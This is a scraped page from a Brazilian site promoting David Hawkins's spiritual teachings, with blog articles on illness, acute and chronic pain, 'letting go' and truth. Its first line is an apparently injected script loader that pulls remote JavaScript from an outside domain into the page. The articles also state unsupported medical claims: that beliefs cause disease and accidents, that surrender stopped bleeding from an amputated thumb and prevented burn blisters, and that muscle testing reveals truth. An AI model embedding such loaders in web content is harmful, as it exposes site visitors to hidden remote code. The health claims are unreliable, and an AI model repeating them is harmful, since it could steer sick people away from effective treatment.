;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de sofrimento - David Hawkins Brasil
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David Hawkins

O “gostinho” em ficar doente

Parece impossível que alguém goste de ficar doente. E realmente, de forma consciente e madura, ninguém gosta. Mas, sabe quando uma criança se machuca e quer mostrar o machucado para todo mundo e receber atenção? Pois bem, essa criança ainda vive em nós e todos nós inconscientemente gostamos da atenção que recebemos por estarmos doentes.

Por estar doente, não precisamos cumprir certas obrigações, podemos ter mais momentos de preguiça, podemos ter um tempo para nós mesmos sem culpa e podemos receber carinho e cuidado de uma forma que não receberíamos se estivéssemos saudáveis. 

O problema surge quando esses pequenos prazeres em estar doente se tornam mais importantes para pessoa do que se curar e estar saudável para ter energia para realizar tudo o que escolheu para sua vida.

Reconhecer que estamos presos em gostar de ficar doente ao invés de verdadeiramente querermos nos curar é doloroso e difícil porque envolve olhar para a nossa sombra. No entanto, há técnicas como a cinesiologia, que nos ajudam a como discernir a verdade e nos libertar da falsidade, conforme explicado em um artigo anterior a esse.

“O teste muscular é responsável tanto pelos sistemas de crenças inconscientes quanto pelos conscientes. Os testes muitas vezes revelam que uma pessoa sente ou acredita inconscientemente o oposto do que pensa que acredita conscientemente. A pessoa, por exemplo, pode acreditar conscientemente que deseja curar-se, mas inconscientemente estar apegada às recompensas da doença. Um simples teste muscular revela a verdade sobre o assunto.” – Dr. David Hawkins, Deixar Ir

O gostinho em sofrer ao ficar doente

No artigo sobre dor aguda, citamos um trecho muito importante de crenças que as pessoas têm sobre as doenças e uma delas é de que ao sofrer nos aproximaremos de Deus, por estar “pagando os pecados”. Na verdade, a visão de Deus como justiceiro é uma visão do nível de consciência do medo que nos distancia de Deus. Deus é Amor e Bondade e não quer que a gente sofra. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espirituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – auto-piedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo por estar doente coloca a pessoa em um campo de consciência de falsidade. Ela acredita na ilusão de que é vítima da doença, assim assumindo a posição “confortável” de não precisar ser responsável pelo seu processo de cura. Quando, na verdade, não tem nada de “confortável” em permanecer em um estado de doença. 

Estudo de caso: o doente diante da depressão e da culpa

“Um dos maiores obstáculos a superar para sair da depressão e da apatia é o da culpa. A culpa é todo um assunto por si só. Observar isso é gratificante. Para começar, há muitas recompensas em culpar. Podemos ser inocentes; podemos desfrutar da autopiedade; podemos ser o mártir e a vítima; e podemos ser aquele que recebe a simpatia dos outros. Talvez a maior recompensa pela culpa seja que somos a vítima inocente e a outra parte é a má. 

Vemos esse jogo sendo constantemente exibido na mídia, como os intermináveis jogos de culpa dramatizados em uma infinidade de controvérsias, difamação, assassinatos de caráter e ações judiciais. Além da recompensa emocional, a culpa traz benefícios financeiros consideráveis; portanto, é um pacote tentador ser vítima inocente, pois muitas vezes isso é recompensado financeiramente. 

Houve um exemplo famoso disso na cidade de Nova York há muitos anos. Ocorreu um acidente de transporte público. As pessoas saíram pela porta da frente do veículo e depois se reuniram em uma pequena multidão, fornecendo seus nomes e endereços para benefícios financeiros futuros. Os espectadores rapidamente perceberam o jogo e subiram secretamente na traseira do veículo, para que pudessem sair da frente como feridos, “vítimas inocentes”. Eles nem haviam sofrido o acidente, mas iriam receber uma recompensa! 

Culpar os outros é a maior desculpa que existe no mundo. Permite-nos permanecer limitados e pequenos sem nos sentirmos culpados. Mas há um custo: a perda da nossa liberdade. Além disso, o papel de vítima traz consigo uma autopercepção de fraqueza, vulnerabilidade e desamparo, que são os principais componentes da apatia e da depressão.” – Dr. David Hawkins, Deixar Ir

O caminho da cura

O caminho da cura envolve sair do papel de vítima. Além de compreender que “todo não consigo é não quero” e renunciar aos pequenos prazeres que nos fazem não querer verdadeiramente a cura. É preciso coragem de olhar para as nossas sombras e deixar ir essas emoções que nos atordoam. 

Assim como trouxemos o exemplo da depressão para ilustrar o papel da culpa e do vitimismo em uma doença, vamos seguir com a mesma doença para ensinar sobre a cura.

“Uma coisa é analisar a base causal da depressão e outra é entrar totalmente nas profundezas da desesperança, abandonando a resistência ao sentimento. Ao permitir a plena sensação disso e ao abandonar cada sensação, cada pensamento e cada pequena recompensa que você está obtendo com isso, você está livre. Não é necessário investigar o “porquê” da depressão para se libertar do “o quê” ela manifesta.” – Dr. David Hawkins, Deixar Ir

A cura não vem de analisar e entender o problema, como se acredita racionalmente. Tampouco vem em não sentir mais sintomas dessa doença. A verdadeira cura é quando não importa mais se os sintomas vão desparecer ou não porque já não mais nos sentimos vítimas deles. 

“Como se pode saber se a humildade e a entrega estão completas? Estão completas quando se está indiferente para se a cura vai acontecer ou não. Esse é o resultado da entrega para Deus a grandes profundidades e a renúncia do desejo de controlar ou mudar como as coisas são.”  – Dr. David Hawkins, “Cura e Recuperação”

Assuma a responsabilidade de que só você pode escolher com seu livre arbítrio entregar seu sofrimento em estar doente para Deus e se libertar disso. Vamos juntos!

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 3 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Níveis de Consciência

Como lidar com a dor crônica sem sofrimento?

Nesse artigo vamos aprender a lidar com a dor crônica, aquela que vem e insiste em ficar. Mostraremos práticas espirituais e técnicas, vamos aprofundar no que explicamos no artigo da semana passada sobre como lidar com a dor aguda pontual que ocorre após algum acidente.

A técnica que será utilizada será a mesma que para a dor aguda, mas a forma de fazer isso é um pouco diferente. Vamos aprofundar com algumas práticas de como lidar com a dor crônica a seguir.

Lidando com a dor crônica

1ª. Prática: Observe que a dor está em todo lugar

Quem nunca sentiu uma dor que faz o estômago revirar e as pernas tremerem? A dor não tem um muro em volta em que fica apenas na região que está sendo evidenciada incialmente. A dor está na consciência e justamente por isso pode ser sentida de qualquer região do nosso corpo. Abaixo vamos ensinar uma técnica de meditação para observar isso com maior clareza.

“Como todas as experiências estão sendo experienciadas na consciência, observamos para ver onde a dor está sendo experienciada, como no caso do polegar que foi cortado. Primeiramente, poderíamos dizer que a dor está no dedo. Na verdade, onde a dor está sendo experienciada? A dor move a atenção para longe do dedo. Se a pessoa disser “Movo o foco da atenção para o topo da minha cabeça”, do topo da cabeça, olhamos a região do polegar e experienciamos a dor da situação, mas onde está se passando a dor do polegar? Quando fazemos isso, começamos a perceber que a dor está sendo experienciada em todo lugar – ao redor do corpo e nos campos de energia do corpo – está acontecendo em todos os lugares.”  – Dr. David Hawkins, “Cura e Recuperação”

2ª. Prática: Não Rotule o que está sentindo

A sensação que sentimos não é o nome que damos a sensação, é o que é experienciado de fato. Mesmo as palavras sensação ou dor são rótulos. Por exemplo, se você tem uma úlcera, não chame de úlcera. Sua mente vai querer então chamar de “queimação”. Mas isso também é um conceito.

Pense em um animal que apenas sente sem ficar refletindo sobre o que é, porque está sentindo isso, etc. É justamente isso que vamos fazer! Assim, podemos nos desvincular de todas as programações mentais que vem atreladas a ter uma doença, como, no exemplo que demos, tudo o que a humanidade associa ao fato de ter úlcera.

“Estamos sujeitos apenas àquilo que mantemos em mente. Essa única frase é a chave para curar todas as doenças, dores e sofrimentos.”  – Dr. David Hawkins, “Cura e Recuperação”

3ª. Prática: Cancele crenças

Ao compreendermos que só estamos sujeitos ao que mantemos em mente, logo vem a mente uma vontade de limpar tudo isso e de saber como fazer essa limpeza profunda. A forma de fazer isso é cancelar nossas crenças, já que são elas que estão por trás das doenças e acidentes.

“Pesquisas mostraram que é o sistema de crença em si que literalmente cria a experiência. O incidente é uma expressão do sistema de crenças. É como se a mente justificasse o que acredita ser verdade.”  – Dr. David Hawkins, “Cura e Recuperação”

A única maneira de saber se isso é verdade, é praticando. Portanto, a primeira crença que vamos cancelar é a de que dor e sofrimento são a mesma coisa. Vamos dizer a nós mesmos: “Dor é uma coisa, sofrimento é outra”.

Em seguida, vamos cancelar todos os pensamentos, pois todos são crenças. Para isso vamos utilizar a seguinte frase: “Eu cancelo a crença (de que tenho uma dor crônica). Eu sou um ser de Amor Infinito e não estou sujeito a isso”.  – Dr. David Hawkins, “Cura e Recuperação”

4ª. Prática: Se distancie da dor

O caminho não é de reprimir a dor ou se distrair para não focar no que está acontecendo. O caminho ainda é o que indicamos para a dor aguda: é renunciar à resistência para de fato sentir a dor, ao invés de tentar fugir dela. 

Podemos sentir a dor com um certo distanciamento, quase como se estivéssemos observando a dor em uma outra pessoa. 

“Por que algumas pessoas são tão suscetíveis à dor e sofrimento e para outras é tão transitório? Para quem é transitório, a dor e o sofrimento passam pela superfície, mas não em seu núcleo. Podem ficar extremamente incomodadas com algo, mas quem elas realmente são internamente, se mantém imperturbável. De alguma maneira, existe uma diferenciação entre quem se é e as experiências. O Eu real é totalmente imperturbável e permite que a experiência flua através do eu. O mal-estar, como conflitos emocionais, pode durar horas, mas o Eu verdadeiro interior nem participa desse mal-estar. Essa é a diferença entre o que é o eu real da pessoa e o que está sendo experienciado. É o desapegar do hábito de se identificar como a experiência. Somos aquilo em que a experiência está acontecendo, não a experiência em si.”  – Dr. David Hawkins, “Cura e Recuperação”

5ª. Prática: Entregue a Dor para Algo Maior

Lidar com a dor crônica não é missão para o ego, que vai querer fugir ou se sentir culpado ou orgulhoso. Esse processo envolve humildade radical e uma grande entrega a Deus. Em oração podemos assumir que não conseguimos e pedir para que Deus lide com isso por nós. Assim, poderemos experienciar que de fato algo maior do que o eu, lida com a dor por nós. 

“Minha experiência pessoal foi que alguma energia maior surgia e cuidava da dor para mim. Chamamos de “energia maior”, pois podemos verificar sua existência. Como já disse, “Deus, eu não posso fazer; faça por mim”.”  – Dr. David Hawkins, “Cura e Recuperação”

O sofrimento que vem da dor aguda é reflexo do Nível de Consciência

No fundo da tabela de consciência está a Culpa (30), a culpa excessiva gera doenças, acidentes e desgastes. Quando nos conectamos ao nível de consciência de culpa, vivemos em pecado, sofrimento, dor e isso por si só gera um ódio a nós mesmos. É um processo de autodestruição. 

Aqui, o primeiro ponto que precisamos desapegar é que isso traz algum benefício. A verdade é que a culpa não nos faz pessoas melhores, em vez disso, ela nos torna pessoas ainda mais egoístas. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espi- rituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – autopiedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo pela doença não é o caminho, nem sentir Medo de que esse estado permaneça ou mais ainda, o medo de que o estado piore.  O caminho também não é o Desejo constante de se livrar de tudo isso, o que só gera mais resistência. Enquanto a resistência, por sua vez, garante a permanência da dor e deixa as pessoas raivosas. 

“A raiva das pessoas em dor crônica é enorme. Estão presas nisso.”  – Dr. David Hawkins, “Cura e Recuperação”

Há até um Orgulho sombrio de ninguém conseguir ajudar a pessoa a sair dessa condição na qual está presa. Quando a pessoa acredita que seu caso não tem solução, perde a esperança e resiste ao tratamento. É claro que esse também não é o caminho. 

Os Níveis de Consciência positivos nos distanciam da dor

O caminho para sair disso começa na Coragem para “deixar de resistir”. A partir daí, atingimos a Neutralidade onde reconhecemos que está tudo bem, não importa o que aconteça. Isso nos traz a Disposição em ser misericordiosos e a Aceitar que somos humanos, realmente aceitar a nossa humanidade.

“Existe a aceitação da condição humana e da experiência protoplásmica humana sem sentir mágoas com relação a isso, sem sentir autopiedade, sem ficar com raiva, sem sentir orgulho e começar a julgar “erros” e sem atacar a si mesmo. Se fizermos isso, podemos nos elevar para um campo de energia chamado Amor, ou mesmo Alegria e Amor Incondicional.”  – Dr. David Hawkins, “Cura e Recuperação”

Quando entramos em um estado de amorosidade (entre 500 e 540), aprendemos a rir de nós mesmos. Logo, nos aproximamos da cura. Há vários livros que relatam que o humor cura, assim as doenças físicas são de fato curadas por risadas frequentes. Aqui, cria-se a consciência de que a dor é uma coisa, mas eu sou outra.

O que fazer com a dor crônica durante todo esse processo espiritual até se chegar na cura?

1ª. Técnica: Acupuntura

Aqui no artigo ensinamos como lidar com a parte espiritual durante uma doença, mas precisamos também fazer algo para aliviar nosso corpo físico, justamente porque todas as doenças devem ser tratadas nos âmbitos físico, mental e espiritual. A acupuntura, por sua vez, vai atuar de forma muito efetiva no corpo físico, aliviando as dores e contribuindo para que o processo de cura espiritual seja realizado do começo a fim, sem tantas interferências na vida mundana. 

2ª. Técnica: Relaxamento profundo

Outro nome dado a essa técnica é hipnose, mas dado a todas as crenças que se atribuíram a palavra, optamos por nomeá-la de relaxamento profundo, o que reflete de maneira mais autoexplicativa o que é essa técnica. 

Por questões de progressão da consciência, não recomendamos buscar um profissional que faça esse tipo de trabalho, recomendamos que a pessoa aprenda a chegar nesse estado por si só. É um estado de relaxamento no qual o nível de concentração fica aumentado de forma que não conseguimos na vida cotidiana. Assim, é muito mais fácil reprogramar crenças.

Então, como fazer isso sozinho?

Comece relaxando seu corpo por níveis, como se estivesse descendo 10 degraus. Antes de começar cada nível, anuncie mentalmente para você mesmo “Nível 1” e assim por diante.

  • Nível 1 – Inicia a experiência
  • Nível 2 – Relaxe todos os músculos da cabeça. Não se esqueça de observar a mandíbula onde sobrecarregamos muitas tensões. 
  • Nível 3 – Relaxe as tensões do pescoço e trapézio
  • Nível 4 – Relaxe os músculos das costas e do peitoral
  • Nível 5 – Aumente a progressão do relaxamento, dos músculos maiores até os menores, como ombros, braços, antebraços, mãos e dedos.
  • Nível 6 – Relaxe peito e tronco
  • Nível 7 – Relaxe toda a tensão do abdômen inferior
  • Nível 8 – Relaxe quadril e nádegas
  • Nível 9 – Deixe o relaxamento fluir pelas suas pernas
  • Nível 10 – Relaxe os pés

No nível 10, diga a si mesmo “Estou no nível 10”, como um gatilho para realmente desapegar da resistência. Em seguida, reprograme suas crenças com o que ensinamos aqui, por exemplo, que dor é uma coisa, sofrimento é outra. Observe que quando não há resistência, não há sofrimento em sentir a dor. Por fim, aplique a primeira prática que ensinamos aqui e experiencie a dor em todo lugar, sem resistência.

3ª. Técnica: Ouvir músicas grandiosas

Hoje sabemos que as músicas belas e grandiosas liberam endorfinas no cérebro. Mas desde a época de Hipócrates já sabíamos do efeito curativo que a beleza proporciona. 

No âmbito mais popular são recomendados artistas como George Harrison, Andrea Bocelli, Enrico Caruso e Louis Armstrong. Já se você gosta de música clássica, mergulhe ao som de Bach, J. S.  e Pachebel, J. (“Canon”). Mesmo que você não esteja familiarizado com músicas clássicas, escute quando for fazer uma atividade em precise de energia ou para começar o dia. Já para relaxar e se interiorizar, recomendamos músicas espirituais como “Ave Maria” e “Amazing Grace” ou o som de Robert Gass.

Não perca nada!

Essa é a segunda parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na primeira parte, ensinamos a lidar com a dor aguda e é uma ótima introdução para melhor compreender o que ensinamos aqui.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Níveis de Consciência

Como lidar com a dor aguda sem sofrimento?

Não, a dor e o sofrimento não são a mesma coisa, por mais surpreendente que essa informação possa parecer. Não é necessário ser vítima da dor e isso é possível justamente descontruindo a crença de que dor é igual a sofrimento. É possível que a dor esteja presente, mas não seja sentida devido ao estado de consciência. Isso é o que acontece de forma artificial quando tomamos uma anestesia, mas aqui vamos ensinar como chegar nesse estado de forma natural.

Acreditamos que a dor é sentida fisicamente, mas na verdade ela é interpretada pela mente. Enquanto a mente, só sabe o que se passa nela devido a consciência. No artigo sobre Sexualidade aprofundamos um pouco mais sobre como isso funciona.

“O conteúdo da mente e o que está se passando nela é observado através da consciência; assim sendo, toda experiência está ocorrendo na consciência.” – Dr. David Hawkins, “Cura e Recuperação”

Lidando com a dor aguda

O ego acredita que ao resistir a dor, ela será eliminada. Queremos resistir a todo custo por acreditar que a dor gera sofrimento. Ficamos chocados que houve um acidente e mentalizando sobre isso, querendo que não tivesse acontecido. A técnica que vamos usar é o oposto disso é desapegar da resistência, e vamos mostrar porque isso é muito melhor do que toda a resistência que geramos normalmente.

“Desapegar da resistência significa estar por completo no evento e se render totalmente a sensação. Significa ignorar os pensamentos que possamos estar tendo sobre o evento. Em vez de pensar sobre isso, vamos entrar diretamente na experiência da sensação e desapegar de resisti-la. Por exemplo, se nos queimarmos acidentalmente e desapegarmos de resistir a sensação, inicialmente será como uma saturação. Abrimos as portas, a dor se intensifica, e nos rendemos totalmente a ela e desapegamos de resistir.

A maneira de fazer isso é dizer “Mais, mais, mais”. A maneira de manter isso em mente para que seja aceitável é saber que existe uma quantidade limitada de dor em cada experiência. Abrimos a porta e a deixamos se esgotar rapidamente. “Desapego de resistir a essa experiência. Desapego de resistir em estar com ela. Ignoro os pensamentos, pois os pensamentos não serão úteis. Ao invés disso, me rendo totalmente e me permito experienciar a experiência na sua totalidade”. É como se a porta se abrisse, a intensidade aumenta e a dor é totalmente experienciada e esgotada em poucos minutos.” – Dr. David Hawkins, “Cura e Recuperação”

Experiências de quem aplicou a técnica para dores agudas

Quando escolhemos sentir a experiência da dor, deixamos de ser vítimas da experiência e nos tornamos senhores dela. A técnica foi utilizada pelo próprio dr. David Hawkins ao torcer o tornezelo e o pé esquerdo, em seguida dessas experiências, ele sentiu ondas de dor aguda, mas não precisou enfaixar e ficou completamente curado. 

Quando ele cortou seu dedão fora com uma serra ao fazer carpintaria o sangue parou de jorrar em poucos segundos após amputar seu dedo. Ficaram apenas 8 gostas na tábua de madeira que está guardada até hoje.

No entanto, ele não foi o único a experienciar os benefícios dessa técnica. Foram muitos os casos, mas ele cita mais dois alunos dele que fizeram isso com queimaduras intensas e não tiverem as bolhas que se esperaria delas. Além disso, conta o caso de uma turma em que ensinou sobre isso numa semana, e na próxima semana vários alunos tiverem acidentes e puderam comprovar a eficácia da técnica.

Você não precisa acreditar no que está aqui, a técnica pode ser experienciada por qualquer pessoa. Tudo o que precisa ser feito é desapegar da resistência. Enquanto a resistência estiver presente, a experiência permanece. Portanto, é a resistência que nos coloca na posição de vítimas e é assim a dor ganha poder sobre nós. 

Correlação da Experiência com os níveis de Consciência

Quando tentamos controlar a experiência ou usar força de vontade, estamos em um nível de consciência negativo de Raiva e Indignação (150), inconformados porque ter que sentir dor. Aqui, ficamos presos num mar de emoções negativas, sem alívio dos sintomas. 

No entanto, podemos criar Coragem (200) de agir diferente e compreender a Neutralidade (250) de que “está tudo bem passar por isso”. Assim, surge a Disposição (310) de lidar com isso até o final. Com essa escolha ficamos dispostos a aceitar o que é e nós nos elevamos a Aceitação (380).

Ao escolher aplicar a técnica que ensinamos aqui a pessoa observa que seu ego não precisa lidar com a dor, em vez disso, Algo Maior, o Amor (500) está com elas nesse momento. Até que isso nos eleva ao Amor Incondicional (540) que é o nível da Cura e do desapego à resistência. 

“É fazendo essas coisas que elas se tornam reais. Fazendo esse exercício co- meçamos a experienciar que algo além do eu pessoal está lidando com a experiência e, dentro de instantes, o que era agonizante se torna suportável. Saímos da resistência e do medo do sofrimento.”  – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a primeira parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na segunda parte, que vamos publicar semana que vem, ensinaremos a lidar com a dor crônica.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Desapego – Uma técnica simples e eficaz

No último artigo, falamos sobre a existência de uma técnica chamada ‘Deixar ir’, objeto do livro de mesmo nome, escrito pelo PhD Dr. David Hawkins. E vamos continuar entendendo ainda mais essa técnica que pode colaborar para o desapego do sofrimento e da negatividade.

A prática psiquiátrica sempre teve como objetivo primário aliviar o sofrimento humano e utiliza para isso numerosas disciplinas como psicanálise, psicologia, técnicas comportamentais, biofeedback entre outras tantas e, em todas elas, as explorações do mecanismo da rendição trouxe benefícios práticos no que se refere ao desapego.

E essa é a razão que levou Dr. David Hawkins a escrever esse livro, para compartilhar suas observações clínicas pessoais e experimentadas e explorando as questões que denotam obstáculos para a Iluminação.

Como lidar com as perdas, decepções, estresses e crises?

É possível praticar o desapego nessas situações?

De que forma se livrar de emoções negativas e de seus impactos para a saúde, relacionamentos, trabalho?

Desapego – o desejo de libertar-se dos sentimentos negativos

Também chamado de mecanismo de rendição, é um sistema pragmático para eliminar obstáculos e apegos e a técnica tem provas cientificas que pode ser mais efetiva nas respostas fisiológicas ao estresse.

Seu valor está na simplicidade, eficiência, eficácia clínica, ausência de conceitos questionáveis bem como resultados tangíveis e rápidos.

Atua diretamente sobre a máxima: “o apego é a causa primária do sofrimento.”

A mente por meio de seus pensamentos, é movida por sentimentos. Cada sentimento é um acúmulo de milhares de pensamentos.

No geral, as pessoas suprimem, reprimem e tentam escapar dos sentimentos, têm dificuldades com o desapego desses sentimentos, gerando energia suprimida que se acumula e vai se expressar como estresse psicossomático, transtornos corporais, doenças emocionas e transtornos comportamentais em suas relações interpessoais.

Essa dinâmica de se acumular sentimentos vai bloqueando o crescimento espiritual e a consciência e o sucesso em muitas áreas da vida.

E quais os benefícios de praticar o desapego?

No âmbito da saúde física

Eliminar os sentimentos suprimidos traz principalmente uma diminuição do excesso de energia sobre o sistema nervoso autônomo. Render-se constantemente faz com que transtornos físicos e psicossomáticos sejam revertidos, melhorados ou até mesmo desapareçam por completo.

No âmbito comportamental

As dependências a drogas, álcool, entretenimento e sono excessivo são fugas utilizadas para aplacar a ansiedade e os sentimentos negativos que diminuem progressivamente com o uso da técnica do ‘deixar ir”.

Em contrapartida, observa-se no indivíduo que se utiliza dela uma maior vitalidade, energia, estado de presença e um bem-estar maior, sendo necessário cada vez menos esforço para obter esse bem-estar.

No âmbito das Relações Interpessoais

Quando sentimentos negativos são rendidos, abre-se espaço para pensamentos positivos que trarão melhoras inclusive na forma de se relacionar e a capacidade de amar aumenta. Os conflitos diminuem e o desempenho no geral melhora.

O desapego dos bloqueios negativos concede espaço para que os objetivos vocacionais sejam mais facilmente alcançados. A autossabotagem que está baseada na culpa também diminui. O conhecimento intuitivo se manifesta mais fortemente que o conhecimento intelectual.

Novas habilidades criativas podem ser descobertas e a dependência – estado que traz dor, sofrimento e até mesmo violência – também diminui. A aceitação e o amor ao próximo tomam maiores proporções.

No âmbito consciencial e espiritual

A partir do momento em que amplio o uso da técnica do ‘deixar ir’ abre-se um espaço para que a consciência se amplie e a espiritualidade se desenvolva em seu mais puro conceito. A felicidade, o contentamento, a alegria e a paz surgem e experimenta-se cada vez mais o verdadeiro Eu Interior. Os ensinamentos dos Grandes Mestres se desdobram e vai-se desapegando das limitações.

Qualquer pessoa pode experimentar o desaparecimento da negatividade e deixar fluir dentro de si uma positividade alinhada com a verdade e o amor. “Deixar Ir” é uma cartilha que nos ensina passo a passo como lidar e transcender com cada um dos estados de consciência em busca da iluminação.

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Apaixonar-se pela Verdade: o Caminho para a Iluminação – por Dr. David Hawkins

Como apaixonar-se pela Verdade? Acompanhe esse Trecho da Palestra proferida em seu seminário em Sedona, Arizona em 15/09/2007.

Apaixonar-se pela verdade

A dedicação e compromisso com a Verdade nos faz atravessar cada crença que surge como bloqueio.

Tudo aquilo pelo que nos afeiçoamos, nos apegamos ou evitamos deve ser transcendido para que apenas a Verdade se mantenha.

A Verdade não depende de:

  • forma,
  • preferências,
  • local,
  • tempo,
  • rótulos,
  • conceitos ou
  • pensamentos.

Tudo isso são apenas pequenas expressões e variâncias da verdade e, quando acreditamos que alguma delas é a verdade em si, assim que descobrimos que não é, pois ela se vai, sofremos.

A verdade nos faz sofrer?

Sofremos por apego a ilusões e não por descobrirmos a Verdade.

Sofremos por ter criado expectativas mentais que são diferentes do físico e da Vontade Divina, pois temos vício em querer controlar as coisas e somos egoístas por querer que ela saia do jeito que queremos que saia, independente do que os outros acham.

A Verdade não leva em consideração apenas nossa visão de mundo, nossas crenças, nossos pontos de vista, mas a de todos. E segue adiante nos trazendo sempre os melhores aprendizados.

Tudo que acontece é santo e sagrado para um olho sábio.

Nada pode ser ruim para quem enxerga a Verdade. Por isso, vale a pena apaixonar-se pela verdade.

Cada ser, por mais abissal que possa parecer, sendo humano ou não, está em um processo evolutivo passando pelos aprendizados perfeitos para que sua consciência evolua e possa aprender tudo que precisa para o próximo ciclo.

“O sofrimento deste ciclo é a cura para o próximo ciclo” – Pandora Treinamentos

Ame a Verdade, apaixone-se pela Verdade acima de tudo e além de suas crenças, conceitos e até mesmo do que suas recompensas. E aí está a Liberdade Espiritual.

Apaixonar-se pela verdade – Dr.David Hawkins

Ative a legenda em português para uma melhor experiência.

“Eu sei o que eu disse antes, mas existem algumas coisas que eu ouvi durante a minha vida, que não importa quantas vezes eu as ouça, eu me apaixono por ouvi-las de novo.

Então eu estou tentando compartilhar a minha paixão pela Verdade com vocês. Que vocês amem a Verdade, não pelo seu ganho, mas que vocês estimem, não apenas pelos ganhos, mas pelo seu amor pela Verdade.

O amor pela Verdade em si.

E então vai te guiar por todo o caminho até a Iluminação.

Amém.”

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
